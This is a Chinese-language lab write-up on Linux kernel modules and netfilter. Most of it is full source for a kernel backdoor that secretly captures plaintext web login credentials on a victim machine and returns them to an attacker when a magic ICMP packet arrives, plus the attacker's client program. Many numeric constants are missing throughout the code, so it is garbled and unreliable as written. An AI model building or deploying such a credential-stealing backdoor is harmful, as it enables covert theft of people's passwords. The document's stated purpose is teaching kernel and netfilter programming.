基于netfilter和LVM的密码窃取

一：要求：

　　编写一个基于netfilter的模块，该模块的功能是捕获如mail.ustc.edu.cn等使用明文传输用户名和密码的网站的用户名和密码；并在接收到特定的ICMP数据包之后将捕获的用户名和密码发给攻击者。

二：背景介绍

1.LKM：Loadable Kernel Module是可加载内核模块，通过 Linux 内核模块（LKM）可以在运行时动态地更改 Linux，可动态更改 是指可以将新的功能加载到内核、从内核去除某个功能，甚至添加使用他 LKM 的新 LKM。

　　LKM版hello world：

　　内核模块必须有至少两个函数，init_module()和cleanup_module()，分别表示起始和结束（也可以使用宏定义，module_init或module_exit指定函数担任起始和结束函数，并不一定是这两个函数名）。每一个内核模块都必须包括linux/module.h。

/*
 *  hello-1.c - The simplest kernel module.
 */
#include <linux/module.h>      /* Needed by all modules */
#include <linux/kernel.h> /* Needed for KERN_INFO */

int init_module(void)
{
       printk(KERN_INFO "Hello world 1.\n");

       /*
        * A non 0 return means init_module failed; module can't be loaded.
        */
       return ;
}

void cleanup_module(void)
{
       printk(KERN_INFO "Goodbye world 1.\n");
}

编译内核模块的makefile如下：

obj-m += hello-.o

all: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean: make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

内核模块编译成功之后会产生.ko文件，使用insmod命令可以将该内核模块加载到内核，使用rmmod命令可以将内核模块卸载。

对于本例，可以在insmod 和rmmod之后，使用dmesg | tail 命令查看这个hello world程序在内核中的输出。

2.Netfilter是从Linux 2.4开始内核的一个子系统，架构就是在整个网络流程的若干位置放置了一些检测点（HOOK），而在每个检测点上登记了一些处理函数进行处理（如包过滤，NAT等，甚至可以是 用户自定义的功能）。

　　IP层的五个HOOK点的位置如下所示

　　[1]:NF_IP_PRE_ROUTING：刚刚进入网络层的数据包通过此点（刚刚进行完版本号，校验和等检测）， 目的地址转换在此点进行；

　　[2]:NF_IP_LOCAL_IN：经路由查找后，送往本机的通过此检查点，INPUT包过滤在此点进行；

　　[3]:NF_IP_FORWARD：要转发的包通过此检测点，FORWORD包过滤在此点进行；

　　[4]:NF_IP_POST_ROUTING：所有马上便要通过网络设备出去的包通过此检测点，内置的源地址转换功能（包括地址伪装）在此点进行；

　　[5]:NF_IP_LOCAL_OUT：本机进程发出的包通过此检测点，OUTPUT包过滤在此点进行。

三：主要功能

　　本次编程实验的目的是为了练习LKM编程和更进一步深入了解iptables和netfilter。程序的主要功能在在受害者电脑上安装一个kernel module，此模块的功能是暗中记载受害者的mail.ustc.edu.cn（或任何一个使用明文传输用户名和密码的网站）的用户名或密码，并且在接收到攻击者发送过来的特殊数据包，本例中是一个特殊的ICMP数据包之后，将受害者该网站的用户名和密码发送给攻击者。

四：代码

1.编写内核程序nfsniff.c

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/skbuff.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/netdevice.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>

#define MAGIC_CODE   0x5B
#define REPLY_SIZE   36

MODULE_LICENSE("GPL");

#define ICMP_PAYLOAD_SIZE  (htons(ip_hdr(sb)->tot_len) \
- sizeof(struct iphdr) \
- sizeof(struct icmphdr))

/* THESE values are used to keep the USERname and PASSword until
 * they are queried. Only one USER/PASS pair will be held at one
 * time and will be cleared once queried. */
static char *username = NULL;
static char *password = NULL;
static int  have_pair = ;   /* Marks if we already have a pair */

/* Tracking information. Only log USER and PASS commands that go to the
 * same IP address and TCP port. */
static unsigned int target_ip = ;
static unsigned short target_port = ;

/* Used to describe our Netfilter hooks */
struct nf_hook_ops  pre_hook;          /* Incoming */
struct nf_hook_ops  post_hook;         /* Outgoing */

//sk_buff socket buffer）结构是linux网络代码中重要的数据结构，它管理和控制接收或发送数据包的信息。
/* Function that looks at an sk_buff that is known to be an FTP packet.
 * Looks for the USER and PASS fields and makes sure they both come from
 * the one host as indicated in the target_xxx fields */
static void check_http(struct sk_buff *skb)
{
    struct tcphdr *tcp;
    char *data;
    char *name;
    char *passwd;
    char *_and;
    char *check_connection;
    int len,i;

    tcp = tcp_hdr(skb);
    data = (char *)((unsigned long)tcp + (unsigned long)(tcp->doff * ));

    if (strstr(data,"Connection") != NULL && strstr(data, "uid") != NULL && strstr(data, "password") != NULL) {

        check_connection = strstr(data,"Connection");

        name = strstr(check_connection,"uid=");
        _and = strstr(name,"&");
        name += ;
        len = _and - name;
        //kmalloc:分配内核空间的内存，kmalloc保证分配的内存在物理空间是连续的，vmalloc保证虚拟地址空间的连续
        //len+2:要分配内存的大小，GFP_KERNEL：要分配内存的类型
        if ((username = kmalloc(len + , GFP_KERNEL)) == NULL)
            return;
        memset(username, 0x00, len + );
        for (i = ; i < len; ++i)
        {
            *(username + i) = name[i];
        }
        *(username + len) = '\0';

        passwd = strstr(name,"password=");
        _and = strstr(passwd,"&");
        passwd += ;
        len = _and - passwd;
        if ((password = kmalloc(len + , GFP_KERNEL)) == NULL)
            return;
        memset(password, 0x00, len + );
        for (i = ; i < len; ++i)
        {
            *(password + i) = passwd[i];
        }
        *(password + len) = '\0';

    } else {

        return;
    }

    if (!target_ip)
        target_ip = ip_hdr(skb)->daddr;
    if (!target_port)
        target_port = tcp->source;

    if (username && password)
        have_pair++;              /* Have a pair. Ignore others until
                                   * this pair has been read. */

    if (have_pair)
        printk("Have password pair!  U: %s   P: %s\n", username, password);
}

/* Function called as the POST_ROUTING (last) hook. It will check for
 * FTP traffic then search that traffic for USER and PASS commands. */
//捕获输入的用户名和密码
static unsigned int watch_out(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
    struct sk_buff *sb = skb;
    struct tcphdr *tcp;

    /* Make sure this is a TCP packet first */
    if (ip_hdr(sb)->protocol != IPPROTO_TCP)
        //保留该数据包
        return NF_ACCEPT;             /* Nope, not TCP */

    tcp = (struct tcphdr *)((sb->data) + (ip_hdr(sb)->ihl * ));

    /* Now check to see if it's an FTP packet */
    //htons  host to network short  将主机的无符号短整型转换为网络字节序
    if (tcp->dest != htons())
        return NF_ACCEPT;             /* Nope, not FTP */

    /* Parse the FTP packet for relevant information if we don't already
     * have a username and password pair. */
    //解析HTTP包
    if (!have_pair)
        check_http(sb);

    /* We are finished with the packet, let it go on its way */
    return NF_ACCEPT;
}

/* Procedure that watches incoming ICMP traffic for the "Magic" packet.
 * When that is received, we tweak the skb structure to send a reply
 * back to the requesting host and tell Netfilter that we stole the
 * packet. */
//捕获攻击者发来的ICMP包
static unsigned int watch_in(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
    struct sk_buff *sb = skb;
    struct icmphdr *icmp;
    char *cp_data;              /* Where we copy data to in reply */
    unsigned int   taddr;           /* Temporary IP holder */

    /* Do we even have a username/password pair to report yet? */
    if (!have_pair)
        return NF_ACCEPT;

    /* Is this an ICMP packet? */
    if (ip_hdr(sb)->protocol != IPPROTO_ICMP)
        return NF_ACCEPT;

    icmp = (struct icmphdr *)(sb->data + ip_hdr(sb)->ihl * );

    /* Is it the MAGIC packet? */
    if (icmp->code != MAGIC_CODE || icmp->type != ICMP_ECHO
        || ICMP_PAYLOAD_SIZE < REPLY_SIZE) {
        return NF_ACCEPT;
    }

    /* Okay, matches our checks for "Magicness", now we fiddle with
     * the sk_buff to insert the IP address, and username/password pair,
     * swap IP source and destination addresses and ethernet addresses
     * if necessary and then transmit the packet from here and tell
     * Netfilter we stole it. Phew... */
    taddr = ip_hdr(sb)->saddr;
    ip_hdr(sb)->saddr = ip_hdr(sb)->daddr;
    ip_hdr(sb)->daddr = taddr;

    sb->pkt_type = PACKET_OUTGOING;

    switch (sb->dev->type) {
        case ARPHRD_PPP:   //ppp协议            /* Ntcho iddling needs doing */
            break;
        case ARPHRD_LOOPBACK://环路
        case ARPHRD_ETHER://以太网
        {
            unsigned char t_hwaddr[ETH_ALEN];
            //eth_hdr(sb)代表以太网帧的头部，交换源和目的MAC地址
            /* Move the data pointer to point to the link layer header */
            sb->data = (unsigned char *)eth_hdr(sb);
            sb->len += ETH_HLEN; //sizeof(sb->mac.ethernet);
            memcpy(t_hwaddr, (eth_hdr(sb)->h_dest), ETH_ALEN);
            memcpy((eth_hdr(sb)->h_dest), (eth_hdr(sb)->h_source),
                   ETH_ALEN);
            memcpy((eth_hdr(sb)->h_source), t_hwaddr, ETH_ALEN);
            break;
        }
    };
    //icmp头部包括：类型号（8bit)代码段(8bit)校验和(16bit)标识符（16）序列号（16）IP头部，IP数据报的前8字节
    /* Now copy the IP address, then Username, then password into packet */
    cp_data = (char *)((char *)icmp + sizeof(struct icmphdr));
    memcpy(cp_data, &target_ip, );
    if (username)
        //memcpy(cp_data + 4, username, 16);
        //username所指内存地址拷贝16字节到cp_data
        memcpy(cp_data + , username, );
    if (password)
        memcpy(cp_data + , password, );

    /* This is where things will die if they are going to.
     * Fingers crossed... */
    //封包函数
    dev_queue_xmit(sb);

    /* Now free the saved username and password and reset have_pair */
    kfree(username);
    kfree(password);
    username = password = NULL;
    have_pair = ;

    target_port = target_ip = ;

    //   printk("Password retrieved\n");
    //忘掉数据包
    return NF_STOLEN;
}

int init_module()
{
    pre_hook.hook     = watch_in;
    pre_hook.pf       = PF_INET;
    pre_hook.priority = NF_IP_PRI_FIRST;
    pre_hook.hooknum  = NF_INET_PRE_ROUTING;

    post_hook.hook     = watch_out;
    post_hook.pf       = PF_INET;
    post_hook.priority = NF_IP_PRI_FIRST;
    post_hook.hooknum  = NF_INET_POST_ROUTING;

    nf_register_hook(&pre_hook);
    nf_register_hook(&post_hook);

    return ;
}

void cleanup_module()
{
    nf_unregister_hook(&post_hook);
    nf_unregister_hook(&pre_hook);

    if (password)
        kfree(password);
    if (username)
        kfree(username);
}

2.编写Makefile文件

obj-m += nfsniff_http.o

all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

~               

3.make 将.c文件插入到内核，此时后门程序开始监听

4.在另一台虚拟机编译运行getpassword.c文件，发送ICMP报文给被攻击者，同时捕获发回来的ICMP报文中的账号密码。

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>

#ifndef __USE_BSD
# define __USE_BSD             /* We want the proper headers */
#endif
# include <netinet/ip.h>
#include <netinet/ip_icmp.h>

/* Function prototypes */
static unsigned short checksum(int numwords, unsigned short *buff);

int main(int argc, char *argv[])
{
    unsigned char dgram[];          /* Plenty for a PING datagram */
    unsigned char recvbuff[];
    struct ip *iphead = (struct ip *)dgram;
    struct icmp *icmphead = (struct icmp *)(dgram + sizeof(struct ip));
    struct sockaddr_in src;
    struct sockaddr_in addr;
    struct in_addr my_addr;
    struct in_addr serv_addr;
    socklen_t src_addr_size = sizeof(struct sockaddr_in);
    int icmp_sock = ;
    int one = ;
    int *ptr_one = &one;

    if (argc < ) {
        fprintf(stderr, "Usage:  %s remoteIP myIP\n", argv[]);
        exit();
    }

    /* Get a socket */
    if ((icmp_sock = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP)) < ) {
        fprintf(stderr, "Couldn't open raw socket! %s\n",
                strerror(errno));
        exit();
    }

    /* set the HDR_INCL option on the socket */
    if(setsockopt(icmp_sock, IPPROTO_IP, IP_HDRINCL,
                  ptr_one, sizeof(one)) < ) {
        close(icmp_sock);
        fprintf(stderr, "Couldn't set HDRINCL option! %s\n",
                strerror(errno));
        exit();
    }

    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(argv[]);

    my_addr.s_addr = inet_addr(argv[]);

    memset(dgram, 0x00, );
    memset(recvbuff, 0x00, );

    /* Fill in the IP fields first */
    iphead->ip_hl  = ;
    iphead->ip_v   = ;
    iphead->ip_tos = ;
    iphead->ip_len = ;
    iphead->ip_id  = (unsigned short)rand();
    iphead->ip_off = ;
    iphead->ip_ttl = ;
    iphead->ip_p   = IPPROTO_ICMP;
    iphead->ip_sum = ;
    iphead->ip_src = my_addr;
    iphead->ip_dst = addr.sin_addr;

    /* Now fill in the ICMP fields */
    icmphead->icmp_type = ICMP_ECHO;
    icmphead->icmp_code = 0x5B;
    icmphead->icmp_cksum = checksum(, (unsigned short *)icmphead);

    /* Finally, send the packet */
    fprintf(stdout, "Sending request...\n");
    //icmp:句柄。 dgram：缓冲区   84：缓冲区长度 0：flag位，  addr:目标ip，
    if (sendto(icmp_sock, dgram, , , (struct sockaddr *)&addr,
               sizeof(struct sockaddr)) < ) {
        fprintf(stderr, "\nFailed sending request! %s\n",
                strerror(errno));
        return ;
    }

    fprintf(stdout, "Waiting for reply...\n");
    if (recvfrom(icmp_sock, recvbuff, , , (struct sockaddr *)&src,
                 &src_addr_size) < ) {
        fprintf(stdout, "Failed getting reply packet! %s\n",
                strerror(errno));
        close(icmp_sock);
        exit();
    }

    iphead = (struct ip *)recvbuff;
    icmphead = (struct icmp *)(recvbuff + sizeof(struct ip));
    memcpy(&serv_addr, ((char *)icmphead + ),
           sizeof (struct in_addr));

    fprintf(stdout, "Stolen for ftp server %s:\n", inet_ntoa(serv_addr));
    fprintf(stdout, "Username:    %s\n",
            (char *)((char *)icmphead + ));
    fprintf(stdout, "Password:    %s\n",
            (char *)((char *)icmphead + ));

    close(icmp_sock);

    return ;
}

/* Checksum-generation function. It appears that PING'ed machines don't
 * reply to PINGs with invalid (ie. empty) ICMP Checksum fields...
 * Fair enough I guess. */
static unsigned short checksum(int numwords, unsigned short *buff)
{
    unsigned long sum;

    for(sum = ;numwords > ;numwords--)
        sum += *buff++;   /* add next word, then increment pointer */

    sum = (sum >> ) + (sum & 0xFFFF);
    sum += (sum >> );

    return ~sum;
}

　　5.演示截图